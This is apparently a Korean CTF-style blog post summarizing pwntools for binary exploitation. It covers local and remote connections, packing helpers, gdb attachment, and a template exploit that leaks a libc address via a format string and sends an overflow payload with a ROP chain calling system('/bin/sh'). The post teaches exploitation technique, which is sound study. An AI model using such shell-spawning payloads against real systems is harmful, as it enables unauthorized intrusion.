[Pwn] Pwnable · 작성: 2026-07-19 19:31:03 · 조회 4
pwntools는 Pwnable 익스플로잇을 작성할 때 사실상 표준으로 쓰이는 Python 라이브러리다. 프로세스/소켓 통신, 페이로드 조립, ELF 분석, ROP 체인 생성까지 반복적으로 필요한 작업을 대부분 대신해준다. 이 글은 앞선 글들에서 조각조각 나온 사용법을 실전 워크플로우 기준으로 정리한다.
pip install pwntools
from pwn import *
context.binary = elf = ELF('./vuln') # 바이너리 정보 로드 (아키텍처, 보호 기법 등 자동 인식)
context.log_level = 'debug' # 주고받는 데이터를 전부 로그로 보고 싶을 때
# 로컬 실행 / 원격 접속을 한 줄만 바꿔서 전환
p = process('./vuln')
# p = remote('ctf.example.com', 1337)
실전에서는 로컬에서 익스플로잇을 완성한 뒤 원격 서버에 그대로 쏘는 경우가 많다. 인자로 분기하는 패턴을 관습적으로 많이 쓴다.
if args.REMOTE:
p = remote('ctf.example.com', 1337)
else:
p = process('./vuln')
python exploit.py REMOTE=1
| 함수 | 역할 |
|---|---|
p.send(data) |
데이터 전송 (개행 없음) |
p.sendline(data) |
데이터 + 개행 전송 |
p.recv(n) |
n바이트 수신 |
p.recvuntil(b'delim') |
특정 문자열이 나올 때까지 수신 |
p.recvline() |
한 줄 수신 |
p.interactive() |
셸을 획득한 뒤 사람이 직접 입출력하는 모드로 전환 |
64비트 주소를 리틀 엔디안 바이트로 바꾸는 걸 매번 손으로 하면 실수하기 쉽다.
p64(0x401234) # 8바이트 리틀 엔디안으로 패킹
u64(data) # 8바이트를 다시 정수로 언패킹
p32(0x401234) # 32비트 버전
from pwn import *
elf = context.binary = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# 1. leak: printf@got 주소를 흘려보내는 취약점이 있다고 가정
p.sendlineafter(b'> ', b'%7$p')
leaked = int(p.recvline(), 16)
libc.address = leaked - libc.symbols['printf']
log.info(f"libc base: {hex(libc.address)}")
# 2. ROP 체인 조립
rop = ROP(libc)
rop.system(next(libc.search(b'/bin/sh')))
# 3. 오버플로우 페이로드 전송
payload = b'A' * offset + rop.chain()
p.sendlineafter(b'> ', payload)
p.interactive()
gdb.attach(p)를 넣으면 프로세스를 실행한 채로 gdb를 붙여서 페이로드를 보내기 직전 상태를 실시간으로 볼 수 있다. 익스플로잇이 원하는 대로 안 될 때, "어느 단계에서 어긋났는지"를 확인하는 가장 빠른 방법이다.
p = process('./vuln')
gdb.attach(p, gdbscript='break *0x401234\ncontinue')
pwntools 자체는 도구일 뿐이고, 결국 앞선 글들에서 다룬 오프셋 계산·가젯 조합·leak 전략을 세우는 게 본질이다. 도구는 그 아이디어를 빠르게 코드로 옮기는 역할만 한다.